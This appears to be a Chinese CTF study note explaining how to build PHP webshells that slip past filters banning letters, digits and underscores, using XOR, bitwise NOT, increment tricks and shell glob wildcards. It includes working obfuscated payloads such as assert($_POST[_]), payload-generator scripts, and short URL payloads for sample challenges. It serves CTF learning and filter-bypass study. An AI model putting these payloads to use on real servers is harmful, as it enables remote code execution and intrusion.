遇到无数字和字母绕过的题目,总是有点懵,赶紧学习一下。

基本概念

异或

1
2
3
4
<?php
echo "N"^"!";
?>
运行结果: o

输出的结果是字符”o”,这是因为代码对字符”N”和字符”!”进行了异或操作。在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
例如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

取反

先了解一下

  1. 二进制的最高位是符号位,0表示正数,1表示负数。
  2. 正数的原码,反码,补码都一样。
  3. 负数的反码=它的原码符号位不变,其它位取反(0->1,1->0)。
  4. 负数的补码=它的反码+1。
  5. 0的反码,补码都是0.
  6. php没有无符号数,换言之,php中的数都是有符号的。
  7. 在计算机运算的时候,都是以补码的方式来运算的,那么运算完后得到的结果也是某个数的补码

例子:

1
2
3
4
<?php  
echo ~8
?>
运行结果:-9

-9的由来

8的原码、反码、补码都是 :

1
00000000 00000000 00000000 00001000

取反(即~8)后得到:

1
11111111 11111111 11111111 11110111  //第一位是符号位,1代表负号,表示这是一个负数;记住运算和运算结果都是用补码表示的,这是某个数的补码,我们还需要推导反码和原码

反码=补码-1,即:

1
11111111 11111111 11111111 11110110

原码(符号位不变,其他位取反):

1
10000000 00000000 00000000 00001001

所以结果是:-9

php

1
2
3
4
5
<?php
echo urlencode(~'phpinfo');
?>

result: 0x8f0x970x8f0x960x910x990x90

python

1
2
3
4
5
6
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)
get('phpinfo')

result: 0x8f0x970x8f0x960x910x990x90

自增

这种方法很明显的缺点就是需要大量的字符

1
'a'++ => 'b''b'++ => 'c'

'a'++ => 'b','b'++ => 'c',我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理。

利用了PHP弱类型特性,true的值为1,故true+true==2。

1
2
3
4
5
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

1
2
3
4
5
6
<?php
$_++;
print($_);
?>

结果会输出:1

例题

无数字字母

一些不包含数字和字母的webshell

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

php5中assert是一个函数,我们可以通过$f=’assert’;$f(…);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

三种解法:

1.异或
找到两个非数字和字母的字符,异或的结果为我们想要的字符串
如下:

1
2
3
4
5
6
<?php
$_=('%01'^'`').('%08'^'{').('%08'^'{').('%05'^'`').('%09'^'{').('%08'^'|'); // $_='assert';
$__='_'.('%0B'^'[').('%0F'^'@').('%08'^'[').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib import parse

def get_xor(string):
result=''
for i in string:
flag = 0 # 判断是否有找到符合条件的
for j in range(127):
if word_filter(j):
continue
if flag:
break
for k in range(127):
if word_filter(k):
continue
if j^k==ord(i):
result+="('{0}'^'{1}').".format(is_urlencode(j),is_urlencode(k))
flag=1
break
print(result[0:len(result)-1])

#判断是否是字母和数字
def word_filter(num):
word=chr(num)
if word.isdigit() or word.isalpha() or word=="\\":
return True
return False

#对不可打印字符进行url编码
def is_urlencode(num):
if num<32:
return parse.quote(chr(num))
else:
return chr(num)
get_xor("assert")
get_xor("POST")

2.取反

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="实";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="不";$____.=~($___{$__});$___="事";$____.=~($___{$__});

$_____='_';
$___="说";$_____.=~($___{$_});$___="记";$_____.=~($___{$__});$___="笔";$_____.=~($___{$_});$___="快";$_____.=~($___{$__});

$_=$$_____;
$____($_[$__]);
?>

这里需要注意的是+在url是空格,直接写会导致报错,要url变码为%2b。

payload生成的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

//得到一些汉字
function getCChar(){
$url="https://www.zuozuovera.com/archives/787/";
$html=file_get_contents($url);
//print($html);
return $html;


}



//寻找汉字中跟字母相等
function getNegate($s,$t){
$arr=array(1=>'$_',2=>'$__');
for($i=1;$i<strlen($s);$i++){
if(~($s{$i})===$t){
return sprintf('$___="%s";$____.=~($___{%s});',$s,$arr[$i]);
}
}
return "1";


}



// /u表示把字符串当作utf-8处理,并把字符串开始和结束之前所有的字符串分割成数组
function mb_str_split( $string ) {

return preg_split('/(?<!^)(?!$)/u', $string );
}

function getPayload($string){
$result='';
$cchar=getCChar();
for($i=0;$i<strlen($string);$i++) {
foreach(mb_str_split($cchar) as $c){
$word=getNegate($c,$string[$i]);
if($word!="1"){
$result.=$word;
break;

}
}

}
print($result);
print("\n");


}
getPayload("assert");
getPayload("POST");
?>

3.自增

组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

1
2
3
4
<?php
echo ''.[];
?>
result:Array

再取这个字符串的第一个字母,就可以获得’A’了。

因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

长度限制无数字字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

1.异或
要求code的长度不能大于40,限制输入不能为字母和数字。可以利用 PHP允许动态函数执行的特点,拼接出一个函数名getFlag(),然后动态执行即可。

这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法:
payload

1
2
3
4
5
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里的"`{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);
把_当作参数传进去执行getFlag()

1.取反

1
2
3
4
<?php
echo urlencode(~'getFlag');
?>
result:%98%9A%8B%B9%93%9E%98

payload

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

assert是函数,eval不是函数,是一种语言构造器,eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串。assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现。例如像下面这个样子:

1
assert(eval("echo 1;echo 2;"));

长度限制无数字字母下划线

无字母数字webshell之提高篇

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。

php7
php7中修改了表达式执行的顺序:http://php.net/manual/zh/migration70.incompatible.php


PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

1
(~%8F%97%8F%96%91%99%90)();

php5

使用“反引号”+“shell”的方式来getshell

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

glob通配符

1
2
*可以代替0个及以上任意字符
?可以代表1个任意字符

例如:
/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

更多glob内容可看 https://man7.org/linux/man-pages/man7/glob.7.html

glob支持用[^x]的方法来构造“这个位置不是字符x”

glob支持利用[0-9]来表示一个范围

1
ls /???/?????????[@-[]]

参考文章:
PHP关于按位取反结果的推导过程
PHP不使用数字,字母和下划线写shell
一些不包含数字和字母的webshell
浅谈无字母数字构造webshell
无字母数字webshell之提高篇